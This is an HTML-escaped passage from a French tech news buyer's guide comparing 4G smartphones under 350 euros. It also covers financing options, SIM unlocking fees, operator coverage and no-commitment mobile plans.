+&lt;h3&gt;Le Galaxy Ace 3 : une r&amp;eacute;f&amp;eacute;rence. L'Idol S d'Alcatel OneTouch d&amp;egrave;s&amp;nbsp;189&amp;nbsp;euros&lt;/h3&gt;
+&lt;p&gt;Le plus courant des smartphones &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; sous Android est certainement le Galaxy Ace 3 de Samsung que l'on retrouve chez de nombreux revendeurs pour 230 euros environ quasiment au m&amp;ecirc;me tarif &lt;a href="http://pdn.im/1kX4vaB" target="_blank"&gt;chez Sosh&lt;/a&gt; ou &lt;a href="http://mobile.free.fr/mobiles.html" target="_blank"&gt;Free Mobile&lt;/a&gt;. Seul B&amp;amp;You se distingue avec &lt;a href="http://pdn.im/1kX7f7V" target="_blank"&gt;un prix d'acc&amp;egrave;s de&amp;nbsp;219 euros&lt;/a&gt;.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;De notre c&amp;ocirc;t&amp;eacute;, nous aurions tendance &amp;agrave; privil&amp;eacute;gier l'Idol&amp;nbsp;S d'Alcatel OneTouch propos&amp;eacute; par &lt;span data-affiliable="false" data-affkey="Sosh"&gt;Sosh&lt;/span&gt;&amp;nbsp;&lt;a href="http://pdn.im/1kX7K1C" target="_blank"&gt;pour 189 euros&lt;/a&gt; ou &lt;a href="http://mobile.free.fr/mobiles.html" target="_blank"&gt;211 euros&lt;/a&gt;&amp;nbsp;chez &lt;span data-affiliable="false" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt;, car celui-ci nous semble plus int&amp;eacute;ressant au niveau de ses caract&amp;eacute;ristiques techniques. On retrouve ici une dalle IPS en 720p de 4,7 pouces, un capteur photo / vid&amp;eacute;o de 8 m&amp;eacute;gapixels avec flash. Enfin, c'est Android 4.2 (Jelly Bean) qui est charg&amp;eacute; de l'animer. Notez que chez les revendeurs, ce smartphone est propos&amp;eacute; &amp;agrave; &lt;a class="aff-lnk" href="http://www.pcinpact.com/goaff/6a754b07797ed6af39b835558cd5d516fddddf6580bd0952b208f8499b3a033f" data-id="6a754b07797ed6af39b835558cd5d516fddddf6580bd0952b208f8499b3a033f target="&gt;partir de 269 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;[PDN]838312[/PDN]&lt;/p&gt;
+&lt;h3&gt;&lt;span data-affiliable="false" data-affkey="4G"&gt;Un Windows Phone&amp;nbsp;4G&lt;/span&gt;&amp;nbsp;sous les 200 euros ? C'est possible avec le&amp;nbsp;Lumia 625&lt;/h3&gt;
+&lt;p&gt;Toujours sous la barre des 200 euros, des mod&amp;egrave;les sous Windows Phone 8 sont &amp;eacute;galement pr&amp;eacute;sents. C'est par exemple le cas du Lumia 625 chez Nokia que l'on retrouve &amp;agrave; &lt;a href="http://mobile.free.fr/mobiles.html" target="_blank"&gt;201 euros&lt;/a&gt;&amp;nbsp;chez &lt;span data-affiliable="false" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt; ou &lt;a href="http://pdn.im/1kX8B2y" target="_blank"&gt;209 euros&lt;/a&gt;&amp;nbsp;chez B&amp;amp;You. Chez &lt;span data-affiliable="false" data-affkey="Sosh"&gt;Sosh&lt;/span&gt;, il est propos&amp;eacute; &lt;a href="http://pdn.im/1kX8XpH" target="_blank"&gt;&amp;agrave; 219 euros&lt;/a&gt;, mais une offre de remboursement vous permet de r&amp;eacute;cup&amp;eacute;rer 30 euros, si vous restez&amp;nbsp;au moins deux mois.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Vous disposez alors d'un smartphones de 4,7 pouces dont la dalle IPS affiche 480 x 800 pixels, d'une puce double c&amp;oelig;ur &amp;agrave; 1,2 GHz de chez Qualcomm, de 512 Mo de m&amp;eacute;moire ainsi que de 8 Go d&amp;eacute;di&amp;eacute;s au stockage (extensibles via un lecteur de cartes). Notez que dans ce cas pr&amp;eacute;cis, les revendeurs arrivent &amp;agrave; &amp;ecirc;tre un peu moins cher puisque l'on arrive &amp;agrave; le trouver aux alentours sous les &amp;agrave; partir de 186 euros.&lt;/p&gt;
+&lt;p&gt;[PDN]805872[/PDN]&lt;/p&gt;
+&lt;h3&gt;Pour 250 euros, un Sony Xperia SP est disponible&lt;/h3&gt;
+&lt;p&gt;Si vous souhaitez mettre un budget de 250 euros dans votre smartphone &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt;, la meilleure offre disponible est actuellement le Xperia SP &lt;a href="http://mobile.free.fr/mobiles.html" target="_blank"&gt;chez &lt;/a&gt;&lt;span data-affiliable="false" data-affkey="Free Mobile"&gt;&lt;a href="http://mobile.free.fr/mobiles.html" target="_blank"&gt;Free Mobile&lt;/a&gt;&amp;nbsp;&lt;/span&gt;uniquement alors qu'il est vendu plus cher chez les autres op&amp;eacute;rateurs ou revendeurs.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;On a alors droit &amp;agrave; un mobile de 4,6 pouces fonctionnant &lt;a href="http://www.sonymobile.com/fr/software/phones/xperia-sp/" target="_blank"&gt;sous Android 4.3&lt;/a&gt;&amp;nbsp;(Alias Jelly Bean), mais la mise &amp;agrave; jour vers Android 4.4 est d'ores et d&amp;eacute;j&amp;agrave; annonc&amp;eacute;e par la marque. Il embarque un &amp;eacute;cran avec une dalle 720p, 8 Go de stockage, un SoC Snapdragon S4 Plus avec un CPU double c&amp;oelig;ur &amp;agrave; 1,7 GHz, 1 Go de m&amp;eacute;moire vive et&amp;nbsp;un capteur photo principal de 8 m&amp;eacute;gapixels &amp;agrave; l'arri&amp;egrave;re. Notez qu'il dispose d'une puce NFC ainsi que d'une prise&amp;nbsp;USB compatible MHL.&lt;/p&gt;
+&lt;p&gt;[PDN]792094[/PDN]&lt;/p&gt;
+&lt;h3&gt;Lumia 1320 : moins de 300 euros pour un smartphone g&amp;eacute;ant de six pouces&lt;/h3&gt;
+&lt;p&gt;Si vous souhaitez un smartphone g&amp;eacute;ant sous Windows Phone 8, il faut se tourner vers le Lumia 1320 de Nokia. On b&amp;eacute;n&amp;eacute;ficie d'un mod&amp;egrave;le de six pouces avec une dalle IPS en 720p. L'int&amp;eacute;rieur est propuls&amp;eacute; par une puce Snapdragon S4 double c&amp;oelig;ur &amp;agrave; 1,7 GHz second&amp;eacute; par 1 Go de m&amp;eacute;moire vive et 8 Go de stockage, extensibles via un lecteur de cartes.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ici les revendeurs et &lt;span data-affiliable="true" data-affkey="Sosh"&gt;Sosh&lt;/span&gt;, seul op&amp;eacute;rateur &amp;laquo; low cost &amp;raquo; &amp;agrave; &lt;a href="http://pdn.im/1hxGk26" target="_blank"&gt;le proposer&lt;/a&gt;, sont au&amp;nbsp;m&amp;ecirc;me tarif, soit un peu moins de 300 euros. Plusieurs coloris sont de la partie avec du jaune, de l'orange, mais aussi du blanc et du noir.&lt;/p&gt;
+&lt;p&gt;[PDN]843170[/PDN]&lt;/p&gt;
+&lt;h3&gt;Galaxy S3 &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt;&amp;nbsp;pour moins de 300 euros,&amp;nbsp;via une ODR&lt;/h3&gt;
+&lt;p&gt;Passons au Galaxy S3 &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; de Samsung qui est disponible &amp;agrave; &lt;a class="aff-lnk" href="http://www.pcinpact.com/goaff/995a399936a62f2320da0ef1e188edbff94a3a03815e32bb2a04d0b4a99ddd14" target="_blank" data-id="995a399936a62f2320da0ef1e188edbff94a3a03815e32bb2a04d0b4a99ddd14 target="&gt;compter de 349 euros&lt;/a&gt;&amp;nbsp;chez les revendeurs et &lt;a href="http://www.pcinpact.com/bon-plan/2004-samsung-galaxy-siii-jusqua-50-rembourses.htm" target="_blank"&gt;une offre de remboursement de 50 euros&lt;/a&gt;&amp;nbsp;est propos&amp;eacute;e par le constructeur. On retrouve un smartphone de 4,8 pouces avec un &amp;eacute;cran 720p accompagn&amp;eacute; d'une puce Exynos 4 4412 (quatre c&amp;oelig;urs &amp;agrave; 1,4 GHz), de 2 Go de m&amp;eacute;moire de vive et de&amp;nbsp;16 Go de stockage.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il comprend aussi un capteur photo de 8 m&amp;eacute;gapixels, une puce NFC et de nombreux accessoires sont propos&amp;eacute;s allant des &amp;eacute;tuis aux batteries additionnelles, etc.&lt;/p&gt;
+&lt;p&gt;[PDN]772916[/PDN]&lt;/p&gt;
+&lt;h3&gt;&lt;span data-affiliable="false" data-affkey="Nexus 5"&gt;Nexus 5&lt;/span&gt; : 349 euros sur le Play Store, mais aussi&amp;nbsp;ailleurs via une ODR&lt;/h3&gt;
+&lt;p&gt;Finissons cette s&amp;eacute;lection avec&amp;nbsp;le &lt;span data-affiliable="false" data-affkey="Nexus 5"&gt;Nexus 5&lt;/span&gt; de Google produit par LG (voir &lt;a href="http://www.pcinpact.com/test/725-nexus-5-la-nouvelle-reference-des-smartphones-4g-sous-android/1.htm" target="_blank"&gt;notre test&lt;/a&gt;). Contrairement au Nexus 4, il est disponible &lt;a class="aff-lnk" href="http://www.pcinpact.com/goaff/57b88d36523a6c607d0463bf74c592639735207d6c147360329b5eca4b37b22f" target="_blank" data-id="57b88d36523a6c607d0463bf74c592639735207d6c147360329b5eca4b37b22f target="&gt;&amp;agrave; partir de 399 euros&lt;/a&gt;&amp;nbsp;chez les&amp;nbsp;revendeurs, ainsi que chez &lt;span data-affiliable="false" data-affkey="Free Mobile"&gt;Free Mobile,&lt;/span&gt; avec une offre de remboursement de 50 euros. Cela permet de l'obtenir pour le m&amp;ecirc;me tarif que celui pratiqu&amp;eacute; par Google sur le Play Store : &lt;a href="https://play.google.com/store/devices/details?id=nexus_5_black_16gb&amp;amp;hl=fr" target="_blank"&gt;349 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;On retrouve donc un terminal plut&amp;ocirc;t haut de gamme avec une dalle IPS Full HD (1080 x 1920 pixels) de 5 pouces, une puce Snapdragon 800 de Qualcomm et bien entendu la derni&amp;egrave;re version d'Android : 4.4.2.&lt;/p&gt;
+&lt;p&gt;[PDN]827740[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais le plus simple pour vous y retrouver et faire votre choix, c'est de comparer. Nous vous avons donc compil&amp;eacute; les diff&amp;eacute;rentes caract&amp;eacute;ristiques de ces mod&amp;egrave;les afin de vous permettre de trouver le plus adapt&amp;eacute; &amp;agrave; votre besoin en un coup d'&amp;oelig;il :&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/144472.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-144472.png" alt="selection smartphones 4G 350 euros" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que cette s&amp;eacute;lection pourrait rapidement &amp;eacute;voluer dans les mois qui viennent. En &amp;nbsp;effet, certains constructeurs ont d'ores et d&amp;eacute;j&amp;agrave; indiqu&amp;eacute; qu'ils allaient proposer&amp;nbsp;des mobiles &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; aux alentours des 200 euros. C'est par exemple le cas d'Archos avec&amp;nbsp;&lt;a href="http://www.pcinpact.com/news/85174-la-4g-a-150-mbs-des-19999-chez-archos-avec-gamme-helium.htm" target="_blank"&gt;sa gamme Helium&lt;/a&gt;&amp;nbsp;qui devrait rapidement faire face &amp;agrave; la concurrence de&amp;nbsp;Wiko,&amp;nbsp;&lt;a href="http://www.pcinpact.com/news/85510-kazam-concurrent-a-wiko-qui-mise-sur-service-et-4g.htm" target="_blank"&gt;mais aussi du nouveau venu en France : Kazam&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Et maintenant que vous avez trouv&amp;eacute; le smartphone qui vous plait, vient le temps de savoir o&amp;ugrave; le commander. En effet, comme nous avons pu le voir, en fonction des revendeurs et des op&amp;eacute;rateurs, les prix diff&amp;egrave;rent. Mais c'est loin d'&amp;ecirc;tre&amp;nbsp;le seul point qui est important &amp;agrave; analyser comme nous allons le voir.&lt;/p&gt;&lt;p&gt;Une fois le smartphone qui vous int&amp;eacute;resse identifi&amp;eacute;,&amp;nbsp;vient alors la question de son financement. Car m&amp;ecirc;me &amp;agrave; moins de 350 euros, il n'est pas toujours facile de payer cash. Si vous passez par&amp;nbsp;un revendeur, sachez que certains proposent des&amp;nbsp;formules en 3 ou 4 mensualit&amp;eacute;s avec ou sans frais, ainsi que des facilit&amp;eacute;s de paiement sur&amp;nbsp;12 ou 24 mois via un cr&amp;eacute;dit qui aura un co&amp;ucirc;t, qui n'est pas forc&amp;eacute;ment n&amp;eacute;gligeable. Pensez donc &amp;agrave; comparer avant de vous d&amp;eacute;cider.&lt;/p&gt;
+&lt;h3&gt;Les op&amp;eacute;rateurs misent&amp;nbsp;un petit tarif et un paiement en plusieurs fois&lt;/h3&gt;
+&lt;p&gt;Si vous passez par l'un des op&amp;eacute;rateurs &amp;laquo; low cost &amp;raquo;, sachez qu'ils proposent tous des formules de cr&amp;eacute;dit avec ou sans frais suivant les cas. &lt;a href="http://pdn.im/M5nMYP" target="_blank"&gt;B&amp;amp;You&lt;/a&gt;, &lt;span data-affiliable="true" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt;, &lt;span data-affiliable="true" data-affkey="RED"&gt;RED&lt;/span&gt; et &lt;span data-affiliable="true" data-affkey="Sosh"&gt;Sosh&lt;/span&gt;&amp;nbsp;proposent en effet tous du 3x ou du 4x sans frais, ainsi que des formules plus longues&amp;nbsp;qui passeront par contre par un cr&amp;eacute;dit avec&amp;nbsp;un taux souvent &amp;eacute;lev&amp;eacute; et r&amp;eacute;visable, allant jusqu'au maximum l&amp;eacute;gal : 20,08 %. Le montant total de votre acquisition pourra&amp;nbsp;alors &amp;ecirc;tre bien plus &amp;eacute;lev&amp;eacute; que pr&amp;eacute;vu.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/143905.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-143905.png" alt="Financement smartphone B&amp;amp;You" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Exemple de financement d'un Galaxy Ace 3 chez B&amp;amp;You&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Sachez par contre que la souscription &amp;agrave; l'une de ces solutions&amp;nbsp;ne vous engage pas aupr&amp;egrave;s de l'op&amp;eacute;rateur, vous pouvez donc le quitter quand vous le souhaitez, contrairement aux forfaits classiques avec engagement de &lt;span data-affiliable="true" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt;, d'&lt;span data-affiliable="true" data-affkey="Orange"&gt;Orange&lt;/span&gt; ou de&amp;nbsp;&lt;span data-affiliable="true" data-affkey="SFR"&gt;SFR&lt;/span&gt;&amp;nbsp;par exemple. Attention cependant, il faudra bien entendu continuer de payer vos mensualit&amp;eacute;s. Notez aussi que certaines offres de remboursement n&amp;eacute;cessitent de&amp;nbsp;rester au moins deux mois chez l'op&amp;eacute;rateur afin d'en profiter, c'est notamment le cas chez &lt;span data-affiliable="false" data-affkey="Sosh"&gt;Sosh&lt;/span&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Dans le cas de Free mobile, il existe aussi une autre possibilit&amp;eacute; annonc&amp;eacute;e il y a quelques mois : la location. Les mensualit&amp;eacute;s sont faibles mais&lt;a href="http://www.pcinpact.com/news/84966-free-mobile-propose-galaxy-s4-iphone-5s-et-galaxy-note-3-en-location.htm" target="_blank"&gt; les conditions sont nombreuses&lt;/a&gt; et vous devrez faire attention &amp;agrave; tous les d&amp;eacute;tails avant de vous lancer dans une telle aventure. Nous avions&lt;a href="http://www.pcinpact.com/news/84970-la-location-free-mobile-est-elle-interessante-au-bout-24-mois.htm" target="_blank"&gt; analys&amp;eacute; cette offre &amp;agrave; sa sortie&lt;/a&gt;, elle pourra en int&amp;eacute;resser certains mais faites attention et renseignez-vous bien&amp;nbsp;avant de vous engager.&lt;/p&gt;
+&lt;h3&gt;D&amp;eacute;simlocker son t&amp;eacute;l&amp;eacute;phone : une op&amp;eacute;ration possible et gratuite, sous conditions&lt;/h3&gt;
+&lt;p&gt;Si vous achetez&amp;nbsp;votre smartphone&amp;nbsp;nu chez un revendeur, il sera compatible avec tous les op&amp;eacute;rateurs. Il sera donc nativement d&amp;eacute;simlock&amp;eacute;. Si vous l'achetez chez un op&amp;eacute;rateur,&amp;nbsp;il s'agit certainement d'un coffret sp&amp;eacute;cifique et le smartphone sera certainement verrouill&amp;eacute; sur le r&amp;eacute;seau maison. Il existe n&amp;eacute;anmoins des exceptions puisque&amp;nbsp;B&amp;amp;You indique sur &lt;a href="https://assistance.b-and-you.fr/questions/17020-desimlocker-debloquer-iphone-telephone-achete-b-you-desimlockage-deblocage" target="_blank"&gt;son site de support&lt;/a&gt; qu'&amp;agrave; part quelques mod&amp;egrave;les, ils ne sont pas bloqu&amp;eacute;s par d&amp;eacute;faut. Il en sera de m&amp;ecirc;me&amp;nbsp;chez &lt;span data-affiliable="false" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si jamais cela devait &amp;ecirc;tre le cas, il existe n&amp;eacute;anmoins des solutions pour utiliser votre smartphone avec n'importe quelle carte SIM. Si vous souscrivez &amp;agrave; un abonnement avec engagement, &amp;nbsp;l'op&amp;eacute;ration est gratuite au-del&amp;agrave; de trois mois. Avant,&amp;nbsp;elle est factur&amp;eacute;e 76 euros chez &lt;span data-affiliable="false" data-affkey="Orange"&gt;Orange&lt;/span&gt;&amp;nbsp;et 80 euros chez &lt;span data-affiliable="false" data-affkey="SFR"&gt;SFR&lt;/span&gt;. Chez Bouygues elle est gratuite, mais limit&amp;eacute;e &amp;agrave; six d&amp;eacute;verrouillages pendant&amp;nbsp;une p&amp;eacute;riode de six mois.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/143899.png" alt="Desimlock Orange" height="400" /&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;La proc&amp;eacute;dure de d&amp;eacute;simlockage chez&amp;nbsp;&lt;span data-affiliable="false" data-affkey="Orange"&gt;Orange&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le tout passe g&amp;eacute;n&amp;eacute;ralement par une proc&amp;eacute;dure en ligne, mais n'h&amp;eacute;sitez pas &amp;agrave; demander des d&amp;eacute;tails &amp;agrave; votre service client pour en savoir plus. Attention, il sera n&amp;eacute;cessaire de vous munir au pr&amp;eacute;alable du code IMEI de votre appareil. Un identifiant qui se trouve g&amp;eacute;n&amp;eacute;ralement sur sa boite ou &amp;agrave; l'int&amp;eacute;rieur de celui-ci sous la batterie. Mais vous pourrez aussi simplement l'afficher en composant le *#06#.&lt;/p&gt;
+&lt;h3&gt;Le choix de l'op&amp;eacute;rateur reste crucial&lt;/h3&gt;
+&lt;p&gt;Ces deux points nous m&amp;egrave;nent &amp;agrave; l'importance du choix de l'op&amp;eacute;rateur lorsque vous devez choisir votre smartphone. En effet, si l'&amp;eacute;mergence du sans engagement a dans un premier temps favoris&amp;eacute; les revendeurs, nous avons pu voir que leur avantage s'est rapidement estomp&amp;eacute; face aux g&amp;eacute;ants du secteur qui se moquent de gagner de l'argent dans une telle vente et ne voient bien souvent le smartphone que comme un produit d'appel. Pour que votre passage &amp;agrave; la &lt;span data-affiliable="true" data-affkey="4G"&gt;4G&lt;/span&gt; soit r&amp;eacute;ussi, il vous faudra donc faire attention &amp;agrave; bien choisir, m&amp;ecirc;me si la proc&amp;eacute;dure de portabilit&amp;eacute; simplifi&amp;eacute;e et l'absence d'engagement favorisent le changement.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Et pour vous tenter, tout ce petit monde a d&amp;eacute;cid&amp;eacute; de se bouger ces derniers mois. Si c'est&amp;nbsp;&lt;span data-affiliable="true" data-affkey="SFR"&gt;SFR&lt;/span&gt;&amp;nbsp;qui a ouvert le bal de la &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt;, avant d'&amp;ecirc;tre suivi par&amp;nbsp;&lt;span data-affiliable="true" data-affkey="Orange"&gt;Orange&lt;/span&gt;&amp;nbsp;ainsi que&amp;nbsp;par &lt;span data-affiliable="true" data-affkey="Bouygues Telecom"&gt;Bouygues Telecom&lt;/span&gt;. Ce dernier est par contre rest&amp;eacute; cantonn&amp;eacute; &amp;agrave; une dizaine de villes jusqu'au 1er octobre 2013, date du lancement de sa &amp;laquo; &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; nationale &amp;raquo; avec un taux de couverture de 63 % de la population. Selon le &lt;a href="http://www.pcinpact.com/news/85625-antennes-4g-en-service-bouygues-domine-orange-rattrape-free-progresse.htm" target="_blank"&gt;dernier recensement&lt;/a&gt;&amp;nbsp;de l'Agence Nationale des Fr&amp;eacute;quences (ANFR), ce dernier dispose toujours&amp;nbsp;du plus grand nombre de sites et d'antennes en services.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais c'est surtout &amp;agrave; la fin de l'ann&amp;eacute;e derni&amp;egrave;re&amp;nbsp;que les d&amp;eacute;bats ont vraiment commenc&amp;eacute; avec l'arriv&amp;eacute;e de &lt;span data-affiliable="true" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt; &lt;a href="http://www.pcinpact.com/news/84704-free-mobile-20-go-4g-pour-forfait-a-1599-1999.htm" target="_blank"&gt;en d&amp;eacute;cembre&lt;/a&gt; et son forfait &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; &amp;agrave; 19,99 euros.&amp;nbsp;D&amp;egrave;s lors, B&amp;amp;You (Bouygues), &lt;span data-affiliable="true" data-affkey="Sosh"&gt;Sosh&lt;/span&gt; (&lt;span data-affiliable="false" data-affkey="Orange"&gt;Orange&lt;/span&gt;) et &lt;span data-affiliable="true" data-affkey="RED de SFR"&gt;RED de SFR&lt;/span&gt;&amp;nbsp;sont entr&amp;eacute;s dans la danse, provoquant &lt;a href="http://www.pcinpact.com/news/85048-la-4g-sur-forfaits-low-cost-entre-annonces-et-revirements-situation.htm" target="_blank"&gt;de nombreux mouvements&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141723.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141723.png" alt="Couverture 4G Free" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Exemple de couverture &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; de &lt;span data-affiliable="false" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il faut cependant faire attention. La couverture &amp;eacute;tant tout sauf optimale, il ne sera pas possible d'en profiter partout, les op&amp;eacute;rateurs commen&amp;ccedil;ant logiquement par&amp;nbsp;les grandes villes. Vous pourrez retrouver une carte de couverture relev&amp;eacute;e par les utilisateur au sein de &lt;a href="http://www.comparerla4g.fr" target="_blank"&gt;notre comparateur d&amp;eacute;di&amp;eacute; aux offres 4G&lt;/a&gt;. Vous retrouverez aussi ci-dessous les versions&amp;nbsp;officielles qui se focalisent sur&amp;nbsp;l'ext&amp;eacute;rieur des b&amp;acirc;timents :&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;&lt;a href="http://www.corporate.bouyguestelecom.fr/notre-reseau/cartes-de-couverture-reseau" target="_blank"&gt;Carte de couverture du r&amp;eacute;seau de Bouygues Telecom&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://mobile.free.fr/couverture/" target="_blank"&gt;Carte de couverture de Free Mobile&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://treshautdebit.orange.fr/reseau-couverture-nationale.php" target="_blank"&gt;Carte de couverture du r&amp;eacute;seau d'Orange&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;&lt;a href="http://assistance.sfr.fr/mobile_forfait/mobile/couverture-reseau/en-48-62267" target="_blank"&gt;Carte de couverture du r&amp;eacute;seau de SFR&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Des&amp;nbsp;forfaits &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt; &amp;laquo; illimit&amp;eacute; &amp;raquo; et sans engagement d&amp;egrave;s&amp;nbsp;19,99 euros par mois&lt;/h3&gt;
+&lt;p&gt;Les forfaits &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&amp;nbsp;&lt;/span&gt;sans engagement sont d&amp;eacute;j&amp;agrave; nombreux et il est possible de faire son choix parmi&amp;nbsp;un&amp;nbsp;large &amp;eacute;ventail d'offres. Voici la liste des diff&amp;eacute;rents&amp;nbsp;forfaits&amp;nbsp;disponibles avec des appels, des SMS et des MMS illimit&amp;eacute;s &lt;a href="http://www.comparerla4g.fr/?BudgetUtilMin=0&amp;amp;BudgetUtilMax=166&amp;amp;CommUtilMin=600&amp;amp;CommUtilMax=600&amp;amp;DataUtilMin=0&amp;amp;DataUtilMax=15000&amp;amp;smsilli=true&amp;amp;mmsilli=true&amp;amp;sansenga=true&amp;amp;BudgetMin=0&amp;amp;BudgetMax=166&amp;amp;DataMin=0&amp;amp;DataMax=15000&amp;amp;CommunicationMin=0&amp;amp;CommunicationMax=600&amp;amp;FairUseMin=0&amp;amp;FairUseMax=32000&amp;amp;smartphone=0&amp;amp;prixparmois=1&amp;amp;nbparpage=20&amp;amp;order=tarif&amp;amp;way=asc&amp;amp;page=1" target="_blank"&gt;&amp;agrave; moins de 30 euros&lt;/a&gt;&amp;nbsp;:&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/144426.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-144426.png" alt="Dossier 4G forfaits sans engagement" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Les forfaits &lt;span data-affiliable="false" data-affkey="4G"&gt;4G&lt;/span&gt;&amp;nbsp;&lt;a href="http://www.comparerla4g.fr/?BudgetUtilMin=0&amp;amp;BudgetUtilMax=166&amp;amp;CommUtilMin=600&amp;amp;CommUtilMax=600&amp;amp;DataUtilMin=0&amp;amp;DataUtilMax=15000&amp;amp;smsilli=true&amp;amp;mmsilli=true&amp;amp;sansenga=true&amp;amp;BudgetMin=0&amp;amp;BudgetMax=166&amp;amp;DataMin=0&amp;amp;DataMax=15000&amp;amp;CommunicationMin=0&amp;amp;CommunicationMax=600&amp;amp;FairUseMin=0&amp;amp;FairUseMax=32000&amp;amp;smartphone=0&amp;amp;prixparmois=1&amp;amp;nbparpage=20&amp;amp;order=tarif&amp;amp;way=asc&amp;amp;page=1" target="_blank"&gt;sans engagement avec appels, SMS et MMS illimit&amp;eacute;s&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour moins de 30 euros, nous avons donc de nombreux forfaits dont les prix d&amp;eacute;butent &amp;agrave; 19,99&amp;nbsp;euros par mois chez B&amp;amp;You,&amp;nbsp;&lt;span data-affiliable="false" data-affkey="Free Mobile"&gt;Free Mobile&lt;/span&gt; (15,99 euros pour les clients Freebox) et Numericable. Ensuite, on retrouve&amp;nbsp;&lt;span data-affiliable="false" data-affkey="Sosh"&gt;Sosh&lt;/span&gt; et la marque &amp;laquo; low cost &amp;raquo; de Bouygues qui se partagent le cr&amp;eacute;neau &amp;agrave;&amp;nbsp;24,99 euros avec 5 Go de &amp;laquo; Fair use &amp;raquo;, tandis que &lt;span data-affiliable="false" data-affkey="RED"&gt;RED&lt;/span&gt; de &lt;span data-affiliable="false" data-affkey="SFR"&gt;SFR&lt;/span&gt; est 1 euro plus cher avec YouTube en illimit&amp;eacute;, ce qui n'est pas sans&amp;nbsp;soulever des questions sur la &lt;span data-affiliable="false" 